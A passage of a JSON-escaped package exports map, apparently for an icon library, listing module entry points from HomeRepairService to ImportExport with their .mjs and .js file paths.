\"./HomeRepairService.js\",\n      \"default\": \"./HomeRepairService.mjs\"\n    },\n    \"./HomeRepairServiceOutlined\": {\n      \"import\": \"./HomeRepairServiceOutlined.mjs\",\n      \"require\": \"./HomeRepairServiceOutlined.js\",\n      \"default\": \"./HomeRepairServiceOutlined.mjs\"\n    },\n    \"./HomeRepairServiceRounded\": {\n      \"import\": \"./HomeRepairServiceRounded.mjs\",\n      \"require\": \"./HomeRepairServiceRounded.js\",\n      \"default\": \"./HomeRepairServiceRounded.mjs\"\n    },\n    \"./HomeRepairServiceSharp\": {\n      \"import\": \"./HomeRepairServiceSharp.mjs\",\n      \"require\": \"./HomeRepairServiceSharp.js\",\n      \"default\": \"./HomeRepairServiceSharp.mjs\"\n    },\n    \"./HomeRepairServiceTwoTone\": {\n      \"import\": \"./HomeRepairServiceTwoTone.mjs\",\n      \"require\": \"./HomeRepairServiceTwoTone.js\",\n      \"default\": \"./HomeRepairServiceTwoTone.mjs\"\n    },\n    \"./HomeRounded\": {\n      \"import\": \"./HomeRounded.mjs\",\n      \"require\": \"./HomeRounded.js\",\n      \"default\": \"./HomeRounded.mjs\"\n    },\n    \"./HomeSharp\": {\n      \"import\": \"./HomeSharp.mjs\",\n      \"require\": \"./HomeSharp.js\",\n      \"default\": \"./HomeSharp.mjs\"\n    },\n    \"./HomeTwoTone\": {\n      \"import\": \"./HomeTwoTone.mjs\",\n      \"require\": \"./HomeTwoTone.js\",\n      \"default\": \"./HomeTwoTone.mjs\"\n    },\n    \"./HomeWork\": {\n      \"import\": \"./HomeWork.mjs\",\n      \"require\": \"./HomeWork.js\",\n      \"default\": \"./HomeWork.mjs\"\n    },\n    \"./HomeWorkOutlined\": {\n      \"import\": \"./HomeWorkOutlined.mjs\",\n      \"require\": \"./HomeWorkOutlined.js\",\n      \"default\": \"./HomeWorkOutlined.mjs\"\n    },\n    \"./HomeWorkRounded\": {\n      \"import\": \"./HomeWorkRounded.mjs\",\n      \"require\": \"./HomeWorkRounded.js\",\n      \"default\": \"./HomeWorkRounded.mjs\"\n    },\n    \"./HomeWorkSharp\": {\n      \"import\": \"./HomeWorkSharp.mjs\",\n      \"require\": \"./HomeWorkSharp.js\",\n      \"default\": \"./HomeWorkSharp.mjs\"\n    },\n    \"./HomeWorkTwoTone\": {\n      \"import\": \"./HomeWorkTwoTone.mjs\",\n      \"require\": \"./HomeWorkTwoTone.js\",\n      \"default\": \"./HomeWorkTwoTone.mjs\"\n    },\n    \"./HorizontalRule\": {\n      \"import\": \"./HorizontalRule.mjs\",\n      \"require\": \"./HorizontalRule.js\",\n      \"default\": \"./HorizontalRule.mjs\"\n    },\n    \"./HorizontalRuleOutlined\": {\n      \"import\": \"./HorizontalRuleOutlined.mjs\",\n      \"require\": \"./HorizontalRuleOutlined.js\",\n      \"default\": \"./HorizontalRuleOutlined.mjs\"\n    },\n    \"./HorizontalRuleRounded\": {\n      \"import\": \"./HorizontalRuleRounded.mjs\",\n      \"require\": \"./HorizontalRuleRounded.js\",\n      \"default\": \"./HorizontalRuleRounded.mjs\"\n    },\n    \"./HorizontalRuleSharp\": {\n      \"require\": \"./HorizontalRuleSharp.js\",\n      \"import\": \"./HorizontalRuleSharp.mjs\",\n      \"default\": \"./HorizontalRuleSharp.mjs\"\n    },\n    \"./HorizontalRuleTwoTone\": {\n      \"require\": \"./HorizontalRuleTwoTone.js\",\n      \"import\": \"./HorizontalRuleTwoTone.mjs\",\n      \"default\": \"./HorizontalRuleTwoTone.mjs\"\n    },\n    \"./HorizontalSplit\": {\n      \"require\": \"./HorizontalSplit.js\",\n      \"import\": \"./HorizontalSplit.mjs\",\n      \"default\": \"./HorizontalSplit.mjs\"\n    },\n    \"./HorizontalSplitOutlined\": {\n      \"require\": \"./HorizontalSplitOutlined.js\",\n      \"import\": \"./HorizontalSplitOutlined.mjs\",\n      \"default\": \"./HorizontalSplitOutlined.mjs\"\n    },\n    \"./HorizontalSplitRounded\": {\n      \"require\": \"./HorizontalSplitRounded.js\",\n      \"import\": \"./HorizontalSplitRounded.mjs\",\n      \"default\": \"./HorizontalSplitRounded.mjs\"\n    },\n    \"./HorizontalSplitSharp\": {\n      \"require\": \"./HorizontalSplitSharp.js\",\n      \"import\": \"./HorizontalSplitSharp.mjs\",\n      \"default\": \"./HorizontalSplitSharp.mjs\"\n    },\n    \"./HorizontalSplitTwoTone\": {\n      \"require\": \"./HorizontalSplitTwoTone.js\",\n      \"import\": \"./HorizontalSplitTwoTone.mjs\",\n      \"default\": \"./HorizontalSplitTwoTone.mjs\"\n    },\n    \"./HotTub\": {\n      \"require\": \"./HotTub.js\",\n      \"import\": \"./HotTub.mjs\",\n      \"default\": \"./HotTub.mjs\"\n    },\n    \"./HotTubOutlined\": {\n      \"require\": \"./HotTubOutlined.js\",\n      \"import\": \"./HotTubOutlined.mjs\",\n      \"default\": \"./HotTubOutlined.mjs\"\n    },\n    \"./HotTubRounded\": {\n      \"require\": \"./HotTubRounded.js\",\n      \"import\": \"./HotTubRounded.mjs\",\n      \"default\": \"./HotTubRounded.mjs\"\n    },\n    \"./HotTubSharp\": {\n      \"require\": \"./HotTubSharp.js\",\n      \"import\": \"./HotTubSharp.mjs\",\n      \"default\": \"./HotTubSharp.mjs\"\n    },\n    \"./HotTubTwoTone\": {\n      \"require\": \"./HotTubTwoTone.js\",\n      \"import\": \"./HotTubTwoTone.mjs\",\n      \"default\": \"./HotTubTwoTone.mjs\"\n    },\n    \"./Hotel\": {\n      \"require\": \"./Hotel.js\",\n      \"import\": \"./Hotel.mjs\",\n      \"default\": \"./Hotel.mjs\"\n    },\n    \"./HotelClass\": {\n      \"require\": \"./HotelClass.js\",\n      \"import\": \"./HotelClass.mjs\",\n      \"default\": \"./HotelClass.mjs\"\n    },\n    \"./HotelClassOutlined\": {\n      \"require\": \"./HotelClassOutlined.js\",\n      \"import\": \"./HotelClassOutlined.mjs\",\n      \"default\": \"./HotelClassOutlined.mjs\"\n    },\n    \"./HotelClassRounded\": {\n      \"import\": \"./HotelClassRounded.mjs\",\n      \"require\": \"./HotelClassRounded.js\",\n      \"default\": \"./HotelClassRounded.mjs\"\n    },\n    \"./HotelClassSharp\": {\n      \"require\": \"./HotelClassSharp.js\",\n      \"import\": \"./HotelClassSharp.mjs\",\n      \"default\": \"./HotelClassSharp.mjs\"\n    },\n    \"./HotelClassTwoTone\": {\n      \"require\": \"./HotelClassTwoTone.js\",\n      \"import\": \"./HotelClassTwoTone.mjs\",\n      \"default\": \"./HotelClassTwoTone.mjs\"\n    },\n    \"./HotelOutlined\": {\n      \"require\": \"./HotelOutlined.js\",\n      \"import\": \"./HotelOutlined.mjs\",\n      \"default\": \"./HotelOutlined.mjs\"\n    },\n    \"./HotelRounded\": {\n      \"require\": \"./HotelRounded.js\",\n      \"import\": \"./HotelRounded.mjs\",\n      \"default\": \"./HotelRounded.mjs\"\n    },\n    \"./HotelSharp\": {\n      \"require\": \"./HotelSharp.js\",\n      \"import\": \"./HotelSharp.mjs\",\n      \"default\": \"./HotelSharp.mjs\"\n    },\n    \"./HotelTwoTone\": {\n      \"require\": \"./HotelTwoTone.js\",\n      \"import\": \"./HotelTwoTone.mjs\",\n      \"default\": \"./HotelTwoTone.mjs\"\n    },\n    \"./HourglassBottom\": {\n      \"require\": \"./HourglassBottom.js\",\n      \"import\": \"./HourglassBottom.mjs\",\n      \"default\": \"./HourglassBottom.mjs\"\n    },\n    \"./HourglassBottomOutlined\": {\n      \"require\": \"./HourglassBottomOutlined.js\",\n      \"import\": \"./HourglassBottomOutlined.mjs\",\n      \"default\": \"./HourglassBottomOutlined.mjs\"\n    },\n    \"./HourglassBottomRounded\": {\n      \"require\": \"./HourglassBottomRounded.js\",\n      \"import\": \"./HourglassBottomRounded.mjs\",\n      \"default\": \"./HourglassBottomRounded.mjs\"\n    },\n    \"./HourglassBottomSharp\": {\n      \"require\": \"./HourglassBottomSharp.js\",\n      \"import\": \"./HourglassBottomSharp.mjs\",\n      \"default\": \"./HourglassBottomSharp.mjs\"\n    },\n    \"./HourglassBottomTwoTone\": {\n      \"require\": \"./HourglassBottomTwoTone.js\",\n      \"import\": \"./HourglassBottomTwoTone.mjs\",\n      \"default\": \"./HourglassBottomTwoTone.mjs\"\n    },\n    \"./HourglassDisabled\": {\n      \"require\": \"./HourglassDisabled.js\",\n      \"import\": \"./HourglassDisabled.mjs\",\n      \"default\": \"./HourglassDisabled.mjs\"\n    },\n    \"./HourglassDisabledOutlined\": {\n      \"require\": \"./HourglassDisabledOutlined.js\",\n      \"import\": \"./HourglassDisabledOutlined.mjs\",\n      \"default\": \"./HourglassDisabledOutlined.mjs\"\n    },\n    \"./HourglassDisabledRounded\": {\n      \"require\": \"./HourglassDisabledRounded.js\",\n      \"import\": \"./HourglassDisabledRounded.mjs\",\n      \"default\": \"./HourglassDisabledRounded.mjs\"\n    },\n    \"./HourglassDisabledSharp\": {\n      \"require\": \"./HourglassDisabledSharp.js\",\n      \"import\": \"./HourglassDisabledSharp.mjs\",\n      \"default\": \"./HourglassDisabledSharp.mjs\"\n    },\n    \"./HourglassDisabledTwoTone\": {\n      \"require\": \"./HourglassDisabledTwoTone.js\",\n      \"import\": \"./HourglassDisabledTwoTone.mjs\",\n      \"default\": \"./HourglassDisabledTwoTone.mjs\"\n    },\n    \"./HourglassEmpty\": {\n      \"require\": \"./HourglassEmpty.js\",\n      \"import\": \"./HourglassEmpty.mjs\",\n      \"default\": \"./HourglassEmpty.mjs\"\n    },\n    \"./HourglassEmptyOutlined\": {\n      \"require\": \"./HourglassEmptyOutlined.js\",\n      \"import\": \"./HourglassEmptyOutlined.mjs\",\n      \"default\": \"./HourglassEmptyOutlined.mjs\"\n    },\n    \"./HourglassEmptyRounded\": {\n      \"require\": \"./HourglassEmptyRounded.js\",\n      \"import\": \"./HourglassEmptyRounded.mjs\",\n      \"default\": \"./HourglassEmptyRounded.mjs\"\n    },\n    \"./HourglassEmptySharp\": {\n      \"import\": \"./HourglassEmptySharp.mjs\",\n      \"require\": \"./HourglassEmptySharp.js\",\n      \"default\": \"./HourglassEmptySharp.mjs\"\n    },\n    \"./HourglassEmptyTwoTone\": {\n      \"import\": \"./HourglassEmptyTwoTone.mjs\",\n      \"require\": \"./HourglassEmptyTwoTone.js\",\n      \"default\": \"./HourglassEmptyTwoTone.mjs\"\n    },\n    \"./HourglassFull\": {\n      \"require\": \"./HourglassFull.js\",\n      \"import\": \"./HourglassFull.mjs\",\n      \"default\": \"./HourglassFull.mjs\"\n    },\n    \"./HourglassFullOutlined\": {\n      \"import\": \"./HourglassFullOutlined.mjs\",\n      \"require\": \"./HourglassFullOutlined.js\",\n      \"default\": \"./HourglassFullOutlined.mjs\"\n    },\n    \"./HourglassFullRounded\": {\n      \"require\": \"./HourglassFullRounded.js\",\n      \"import\": \"./HourglassFullRounded.mjs\",\n      \"default\": \"./HourglassFullRounded.mjs\"\n    },\n    \"./HourglassFullSharp\": {\n      \"require\": \"./HourglassFullSharp.js\",\n      \"import\": \"./HourglassFullSharp.mjs\",\n      \"default\": \"./HourglassFullSharp.mjs\"\n    },\n    \"./HourglassFullTwoTone\": {\n      \"import\": \"./HourglassFullTwoTone.mjs\",\n      \"require\": \"./HourglassFullTwoTone.js\",\n      \"default\": \"./HourglassFullTwoTone.mjs\"\n    },\n    \"./HourglassTop\": {\n      \"import\": \"./HourglassTop.mjs\",\n      \"require\": \"./HourglassTop.js\",\n      \"default\": \"./HourglassTop.mjs\"\n    },\n    \"./HourglassTopOutlined\": {\n      \"import\": \"./HourglassTopOutlined.mjs\",\n      \"require\": \"./HourglassTopOutlined.js\",\n      \"default\": \"./HourglassTopOutlined.mjs\"\n    },\n    \"./HourglassTopRounded\": {\n      \"import\": \"./HourglassTopRounded.mjs\",\n      \"require\": \"./HourglassTopRounded.js\",\n      \"default\": \"./HourglassTopRounded.mjs\"\n    },\n    \"./HourglassTopSharp\": {\n      \"import\": \"./HourglassTopSharp.mjs\",\n      \"require\": \"./HourglassTopSharp.js\",\n      \"default\": \"./HourglassTopSharp.mjs\"\n    },\n    \"./HourglassTopTwoTone\": {\n      \"import\": \"./HourglassTopTwoTone.mjs\",\n      \"require\": \"./HourglassTopTwoTone.js\",\n      \"default\": \"./HourglassTopTwoTone.mjs\"\n    },\n    \"./House\": {\n      \"import\": \"./House.mjs\",\n      \"require\": \"./House.js\",\n      \"default\": \"./House.mjs\"\n    },\n    \"./HouseOutlined\": {\n      \"import\": \"./HouseOutlined.mjs\",\n      \"require\": \"./HouseOutlined.js\",\n      \"default\": \"./HouseOutlined.mjs\"\n    },\n    \"./HouseRounded\": {\n      \"import\": \"./HouseRounded.mjs\",\n      \"require\": \"./HouseRounded.js\",\n      \"default\": \"./HouseRounded.mjs\"\n    },\n    \"./HouseSharp\": {\n      \"import\": \"./HouseSharp.mjs\",\n      \"require\": \"./HouseSharp.js\",\n      \"default\": \"./HouseSharp.mjs\"\n    },\n    \"./HouseSiding\": {\n      \"import\": \"./HouseSiding.mjs\",\n      \"require\": \"./HouseSiding.js\",\n      \"default\": \"./HouseSiding.mjs\"\n    },\n    \"./HouseSidingOutlined\": {\n      \"import\": \"./HouseSidingOutlined.mjs\",\n      \"require\": \"./HouseSidingOutlined.js\",\n      \"default\": \"./HouseSidingOutlined.mjs\"\n    },\n    \"./HouseSidingRounded\": {\n      \"import\": \"./HouseSidingRounded.mjs\",\n      \"require\": \"./HouseSidingRounded.js\",\n      \"default\": \"./HouseSidingRounded.mjs\"\n    },\n    \"./HouseSidingSharp\": {\n      \"import\": \"./HouseSidingSharp.mjs\",\n      \"require\": \"./HouseSidingSharp.js\",\n      \"default\": \"./HouseSidingSharp.mjs\"\n    },\n    \"./HouseSidingTwoTone\": {\n      \"import\": \"./HouseSidingTwoTone.mjs\",\n      \"require\": \"./HouseSidingTwoTone.js\",\n      \"default\": \"./HouseSidingTwoTone.mjs\"\n    },\n    \"./HouseTwoTone\": {\n      \"require\": \"./HouseTwoTone.js\",\n      \"import\": \"./HouseTwoTone.mjs\",\n      \"default\": \"./HouseTwoTone.mjs\"\n    },\n    \"./Houseboat\": {\n      \"require\": \"./Houseboat.js\",\n      \"import\": \"./Houseboat.mjs\",\n      \"default\": \"./Houseboat.mjs\"\n    },\n    \"./HouseboatOutlined\": {\n      \"require\": \"./HouseboatOutlined.js\",\n      \"import\": \"./HouseboatOutlined.mjs\",\n      \"default\": \"./HouseboatOutlined.mjs\"\n    },\n    \"./HouseboatRounded\": {\n      \"require\": \"./HouseboatRounded.js\",\n      \"import\": \"./HouseboatRounded.mjs\",\n      \"default\": \"./HouseboatRounded.mjs\"\n    },\n    \"./HouseboatSharp\": {\n      \"require\": \"./HouseboatSharp.js\",\n      \"import\": \"./HouseboatSharp.mjs\",\n      \"default\": \"./HouseboatSharp.mjs\"\n    },\n    \"./HouseboatTwoTone\": {\n      \"require\": \"./HouseboatTwoTone.js\",\n      \"import\": \"./HouseboatTwoTone.mjs\",\n      \"default\": \"./HouseboatTwoTone.mjs\"\n    },\n    \"./HowToReg\": {\n      \"require\": \"./HowToReg.js\",\n      \"import\": \"./HowToReg.mjs\",\n      \"default\": \"./HowToReg.mjs\"\n    },\n    \"./HowToRegOutlined\": {\n      \"require\": \"./HowToRegOutlined.js\",\n      \"import\": \"./HowToRegOutlined.mjs\",\n      \"default\": \"./HowToRegOutlined.mjs\"\n    },\n    \"./HowToRegRounded\": {\n      \"require\": \"./HowToRegRounded.js\",\n      \"import\": \"./HowToRegRounded.mjs\",\n      \"default\": \"./HowToRegRounded.mjs\"\n    },\n    \"./HowToRegSharp\": {\n      \"require\": \"./HowToRegSharp.js\",\n      \"import\": \"./HowToRegSharp.mjs\",\n      \"default\": \"./HowToRegSharp.mjs\"\n    },\n    \"./HowToRegTwoTone\": {\n      \"require\": \"./HowToRegTwoTone.js\",\n      \"import\": \"./HowToRegTwoTone.mjs\",\n      \"default\": \"./HowToRegTwoTone.mjs\"\n    },\n    \"./HowToVote\": {\n      \"require\": \"./HowToVote.js\",\n      \"import\": \"./HowToVote.mjs\",\n      \"default\": \"./HowToVote.mjs\"\n    },\n    \"./HowToVoteOutlined\": {\n      \"import\": \"./HowToVoteOutlined.mjs\",\n      \"require\": \"./HowToVoteOutlined.js\",\n      \"default\": \"./HowToVoteOutlined.mjs\"\n    },\n    \"./HowToVoteRounded\": {\n      \"import\": \"./HowToVoteRounded.mjs\",\n      \"require\": \"./HowToVoteRounded.js\",\n      \"default\": \"./HowToVoteRounded.mjs\"\n    },\n    \"./HowToVoteSharp\": {\n      \"require\": \"./HowToVoteSharp.js\",\n      \"import\": \"./HowToVoteSharp.mjs\",\n      \"default\": \"./HowToVoteSharp.mjs\"\n    },\n    \"./HowToVoteTwoTone\": {\n      \"require\": \"./HowToVoteTwoTone.js\",\n      \"import\": \"./HowToVoteTwoTone.mjs\",\n      \"default\": \"./HowToVoteTwoTone.mjs\"\n    },\n    \"./Html\": {\n      \"require\": \"./Html.js\",\n      \"import\": \"./Html.mjs\",\n      \"default\": \"./Html.mjs\"\n    },\n    \"./HtmlOutlined\": {\n      \"require\": \"./HtmlOutlined.js\",\n      \"import\": \"./HtmlOutlined.mjs\",\n      \"default\": \"./HtmlOutlined.mjs\"\n    },\n    \"./HtmlRounded\": {\n      \"require\": \"./HtmlRounded.js\",\n      \"import\": \"./HtmlRounded.mjs\",\n      \"default\": \"./HtmlRounded.mjs\"\n    },\n    \"./HtmlSharp\": {\n      \"require\": \"./HtmlSharp.js\",\n      \"import\": \"./HtmlSharp.mjs\",\n      \"default\": \"./HtmlSharp.mjs\"\n    },\n    \"./HtmlTwoTone\": {\n      \"require\": \"./HtmlTwoTone.js\",\n      \"import\": \"./HtmlTwoTone.mjs\",\n      \"default\": \"./HtmlTwoTone.mjs\"\n    },\n    \"./Http\": {\n      \"require\": \"./Http.js\",\n      \"import\": \"./Http.mjs\",\n      \"default\": \"./Http.mjs\"\n    },\n    \"./HttpOutlined\": {\n      \"require\": \"./HttpOutlined.js\",\n      \"import\": \"./HttpOutlined.mjs\",\n      \"default\": \"./HttpOutlined.mjs\"\n    },\n    \"./HttpRounded\": {\n      \"require\": \"./HttpRounded.js\",\n      \"import\": \"./HttpRounded.mjs\",\n      \"default\": \"./HttpRounded.mjs\"\n    },\n    \"./HttpSharp\": {\n      \"require\": \"./HttpSharp.js\",\n      \"import\": \"./HttpSharp.mjs\",\n      \"default\": \"./HttpSharp.mjs\"\n    },\n    \"./HttpTwoTone\": {\n      \"require\": \"./HttpTwoTone.js\",\n      \"import\": \"./HttpTwoTone.mjs\",\n      \"default\": \"./HttpTwoTone.mjs\"\n    },\n    \"./Https\": {\n      \"require\": \"./Https.js\",\n      \"import\": \"./Https.mjs\",\n      \"default\": \"./Https.mjs\"\n    },\n    \"./HttpsOutlined\": {\n      \"require\": \"./HttpsOutlined.js\",\n      \"import\": \"./HttpsOutlined.mjs\",\n      \"default\": \"./HttpsOutlined.mjs\"\n    },\n    \"./HttpsRounded\": {\n      \"require\": \"./HttpsRounded.js\",\n      \"import\": \"./HttpsRounded.mjs\",\n      \"default\": \"./HttpsRounded.mjs\"\n    },\n    \"./HttpsSharp\": {\n      \"require\": \"./HttpsSharp.js\",\n      \"import\": \"./HttpsSharp.mjs\",\n      \"default\": \"./HttpsSharp.mjs\"\n    },\n    \"./HttpsTwoTone\": {\n      \"require\": \"./HttpsTwoTone.js\",\n      \"import\": \"./HttpsTwoTone.mjs\",\n      \"default\": \"./HttpsTwoTone.mjs\"\n    },\n    \"./Hub\": {\n      \"require\": \"./Hub.js\",\n      \"import\": \"./Hub.mjs\",\n      \"default\": \"./Hub.mjs\"\n    },\n    \"./HubOutlined\": {\n      \"require\": \"./HubOutlined.js\",\n      \"import\": \"./HubOutlined.mjs\",\n      \"default\": \"./HubOutlined.mjs\"\n    },\n    \"./HubRounded\": {\n      \"require\": \"./HubRounded.js\",\n      \"import\": \"./HubRounded.mjs\",\n      \"default\": \"./HubRounded.mjs\"\n    },\n    \"./HubSharp\": {\n      \"require\": \"./HubSharp.js\",\n      \"import\": \"./HubSharp.mjs\",\n      \"default\": \"./HubSharp.mjs\"\n    },\n    \"./HubTwoTone\": {\n      \"import\": \"./HubTwoTone.mjs\",\n      \"require\": \"./HubTwoTone.js\",\n      \"default\": \"./HubTwoTone.mjs\"\n    },\n    \"./Hvac\": {\n      \"import\": \"./Hvac.mjs\",\n      \"require\": \"./Hvac.js\",\n      \"default\": \"./Hvac.mjs\"\n    },\n    \"./HvacOutlined\": {\n      \"import\": \"./HvacOutlined.mjs\",\n      \"require\": \"./HvacOutlined.js\",\n      \"default\": \"./HvacOutlined.mjs\"\n    },\n    \"./HvacRounded\": {\n      \"import\": \"./HvacRounded.mjs\",\n      \"require\": \"./HvacRounded.js\",\n      \"default\": \"./HvacRounded.mjs\"\n    },\n    \"./HvacSharp\": {\n      \"import\": \"./HvacSharp.mjs\",\n      \"require\": \"./HvacSharp.js\",\n      \"default\": \"./HvacSharp.mjs\"\n    },\n    \"./HvacTwoTone\": {\n      \"import\": \"./HvacTwoTone.mjs\",\n      \"require\": \"./HvacTwoTone.js\",\n      \"default\": \"./HvacTwoTone.mjs\"\n    },\n    \"./IceSkating\": {\n      \"import\": \"./IceSkating.mjs\",\n      \"require\": \"./IceSkating.js\",\n      \"default\": \"./IceSkating.mjs\"\n    },\n    \"./IceSkatingOutlined\": {\n      \"import\": \"./IceSkatingOutlined.mjs\",\n      \"require\": \"./IceSkatingOutlined.js\",\n      \"default\": \"./IceSkatingOutlined.mjs\"\n    },\n    \"./IceSkatingRounded\": {\n      \"import\": \"./IceSkatingRounded.mjs\",\n      \"require\": \"./IceSkatingRounded.js\",\n      \"default\": \"./IceSkatingRounded.mjs\"\n    },\n    \"./IceSkatingSharp\": {\n      \"import\": \"./IceSkatingSharp.mjs\",\n      \"require\": \"./IceSkatingSharp.js\",\n      \"default\": \"./IceSkatingSharp.mjs\"\n    },\n    \"./IceSkatingTwoTone\": {\n      \"import\": \"./IceSkatingTwoTone.mjs\",\n      \"require\": \"./IceSkatingTwoTone.js\",\n      \"default\": \"./IceSkatingTwoTone.mjs\"\n    },\n    \"./Icecream\": {\n      \"import\": \"./Icecream.mjs\",\n      \"require\": \"./Icecream.js\",\n      \"default\": \"./Icecream.mjs\"\n    },\n    \"./IcecreamOutlined\": {\n      \"import\": \"./IcecreamOutlined.mjs\",\n      \"require\": \"./IcecreamOutlined.js\",\n      \"default\": \"./IcecreamOutlined.mjs\"\n    },\n    \"./IcecreamRounded\": {\n      \"import\": \"./IcecreamRounded.mjs\",\n      \"require\": \"./IcecreamRounded.js\",\n      \"default\": \"./IcecreamRounded.mjs\"\n    },\n    \"./IcecreamSharp\": {\n      \"import\": \"./IcecreamSharp.mjs\",\n      \"require\": \"./IcecreamSharp.js\",\n      \"default\": \"./IcecreamSharp.mjs\"\n    },\n    \"./IcecreamTwoTone\": {\n      \"require\": \"./IcecreamTwoTone.js\",\n      \"import\": \"./IcecreamTwoTone.mjs\",\n      \"default\": \"./IcecreamTwoTone.mjs\"\n    },\n    \"./Image\": {\n      \"require\": \"./Image.js\",\n      \"import\": \"./Image.mjs\",\n      \"default\": \"./Image.mjs\"\n    },\n    \"./ImageAspectRatio\": {\n      \"require\": \"./ImageAspectRatio.js\",\n      \"import\": \"./ImageAspectRatio.mjs\",\n      \"default\": \"./ImageAspectRatio.mjs\"\n    },\n    \"./ImageAspectRatioOutlined\": {\n      \"require\": \"./ImageAspectRatioOutlined.js\",\n      \"import\": \"./ImageAspectRatioOutlined.mjs\",\n      \"default\": \"./ImageAspectRatioOutlined.mjs\"\n    },\n    \"./ImageAspectRatioRounded\": {\n      \"require\": \"./ImageAspectRatioRounded.js\",\n      \"import\": \"./ImageAspectRatioRounded.mjs\",\n      \"default\": \"./ImageAspectRatioRounded.mjs\"\n    },\n    \"./ImageAspectRatioSharp\": {\n      \"require\": \"./ImageAspectRatioSharp.js\",\n      \"import\": \"./ImageAspectRatioSharp.mjs\",\n      \"default\": \"./ImageAspectRatioSharp.mjs\"\n    },\n    \"./ImageAspectRatioTwoTone\": {\n      \"import\": \"./ImageAspectRatioTwoTone.mjs\",\n      \"require\": \"./ImageAspectRatioTwoTone.js\",\n      \"default\": \"./ImageAspectRatioTwoTone.mjs\"\n    },\n    \"./ImageNotSupported\": {\n      \"import\": \"./ImageNotSupported.mjs\",\n      \"require\": \"./ImageNotSupported.js\",\n      \"default\": \"./ImageNotSupported.mjs\"\n    },\n    \"./ImageNotSupportedOutlined\": {\n      \"import\": \"./ImageNotSupportedOutlined.mjs\",\n      \"require\": \"./ImageNotSupportedOutlined.js\",\n      \"default\": \"./ImageNotSupportedOutlined.mjs\"\n    },\n    \"./ImageNotSupportedRounded\": {\n      \"import\": \"./ImageNotSupportedRounded.mjs\",\n      \"require\": \"./ImageNotSupportedRounded.js\",\n      \"default\": \"./ImageNotSupportedRounded.mjs\"\n    },\n    \"./ImageNotSupportedSharp\": {\n      \"import\": \"./ImageNotSupportedSharp.mjs\",\n      \"require\": \"./ImageNotSupportedSharp.js\",\n      \"default\": \"./ImageNotSupportedSharp.mjs\"\n    },\n    \"./ImageNotSupportedTwoTone\": {\n      \"import\": \"./ImageNotSupportedTwoTone.mjs\",\n      \"require\": \"./ImageNotSupportedTwoTone.js\",\n      \"default\": \"./ImageNotSupportedTwoTone.mjs\"\n    },\n    \"./ImageOutlined\": {\n      \"import\": \"./ImageOutlined.mjs\",\n      \"require\": \"./ImageOutlined.js\",\n      \"default\": \"./ImageOutlined.mjs\"\n    },\n    \"./ImageRounded\": {\n      \"import\": \"./ImageRounded.mjs\",\n      \"require\": \"./ImageRounded.js\",\n      \"default\": \"./ImageRounded.mjs\"\n    },\n    \"./ImageSearch\": {\n      \"import\": \"./ImageSearch.mjs\",\n      \"require\": \"./ImageSearch.js\",\n      \"default\": \"./ImageSearch.mjs\"\n    },\n    \"./ImageSearchOutlined\": {\n      \"import\": \"./ImageSearchOutlined.mjs\",\n      \"require\": \"./ImageSearchOutlined.js\",\n      \"default\": \"./ImageSearchOutlined.mjs\"\n    },\n    \"./ImageSearchRounded\": {\n      \"import\": \"./ImageSearchRounded.mjs\",\n      \"require\": \"./ImageSearchRounded.js\",\n      \"default\": \"./ImageSearchRounded.mjs\"\n    },\n    \"./ImageSearchSharp\": {\n      \"require\": \"./ImageSearchSharp.js\",\n      \"import\": \"./ImageSearchSharp.mjs\",\n      \"default\": \"./ImageSearchSharp.mjs\"\n    },\n    \"./ImageSearchTwoTone\": {\n      \"require\": \"./ImageSearchTwoTone.js\",\n      \"import\": \"./ImageSearchTwoTone.mjs\",\n      \"default\": \"./ImageSearchTwoTone.mjs\"\n    },\n    \"./ImageSharp\": {\n      \"require\": \"./ImageSharp.js\",\n      \"import\": \"./ImageSharp.mjs\",\n      \"default\": \"./ImageSharp.mjs\"\n    },\n    \"./ImageTwoTone\": {\n      \"require\": \"./ImageTwoTone.js\",\n      \"import\": \"./ImageTwoTone.mjs\",\n      \"default\": \"./ImageTwoTone.mjs\"\n    },\n    \"./ImagesearchRoller\": {\n      \"import\": \"./ImagesearchRoller.mjs\",\n      \"require\": \"./ImagesearchRoller.js\",\n      \"default\": \"./ImagesearchRoller.mjs\"\n    },\n    \"./ImagesearchRollerOutlined\": {\n      \"import\": \"./ImagesearchRollerOutlined.mjs\",\n      \"require\": \"./ImagesearchRollerOutlined.js\",\n      \"default\": \"./ImagesearchRollerOutlined.mjs\"\n    },\n    \"./ImagesearchRollerRounded\": {\n      \"import\": \"./ImagesearchRollerRounded.mjs\",\n      \"require\": \"./ImagesearchRollerRounded.js\",\n      \"default\": \"./ImagesearchRollerRounded.mjs\"\n    },\n    \"./ImagesearchRollerSharp\": {\n      \"import\": \"./ImagesearchRollerSharp.mjs\",\n      \"require\": \"./ImagesearchRollerSharp.js\",\n      \"default\": \"./ImagesearchRollerSharp.mjs\"\n    },\n    \"./ImagesearchRollerTwoTone\": {\n      \"import\": \"./ImagesearchRollerTwoTone.mjs\",\n      \"require\": \"./ImagesearchRollerTwoTone.js\",\n      \"default\": \"./ImagesearchRollerTwoTone.mjs\"\n    },\n    \"./ImportContacts\": {\n      \"import\": \"./ImportContacts.mjs\",\n      \"require\": \"./ImportContacts.js\",\n      \"default\": \"./ImportContacts.mjs\"\n    },\n    \"./ImportContactsOutlined\": {\n      \"import\": \"./ImportContactsOutlined.mjs\",\n      \"require\": \"./ImportContactsOutlined.js\",\n      \"default\": \"./ImportContactsOutlined.mjs\"\n    },\n    \"./ImportContactsRounded\": {\n      \"import\": \"./ImportContactsRounded.mjs\",\n      \"require\": \"./ImportContactsRounded.js\",\n      \"default\": \"./ImportContactsRounded.mjs\"\n    },\n    \"./ImportContactsSharp\": {\n      \"import\": \"./ImportContactsSharp.mjs\",\n      \"require\": \"./ImportContactsSharp.js\",\n      \"default\": \"./ImportContactsSharp.mjs\"\n    },\n    \"./ImportContactsTwoTone\": {\n      \"import\": \"./ImportContactsTwoTone.mjs\",\n      \"require\": \"./ImportContactsTwoTone.js\",\n      \"default\": \"./ImportContactsTwoTone.mjs\"\n    },\n    \"./ImportExport\": {\n      \"import\": \"./ImportExport.mjs\",\n      \"require\": \"./ImportExport.js\",\n      \"default\": \"./ImportExport.mjs\"\n    },\n    \"./ImportExportOutlined\": {\n      \"import\": \"./ImportExportOutlined.mjs\",\n      \"require\": \"./ImportExportOutlined.js\",\n      \"default\": \"./ImportExportOutlined.mjs\"\n    },\n    \"./ImportExportRounded\": {\n      \"import\": \"./ImportExportRounded.mjs\",\n      \"require\": \"./ImportExportRounded.js\",\n      \"default\": \"./ImportExportRounded.mjs\"\n    },\n    \"./ImportExportSharp\": {\n      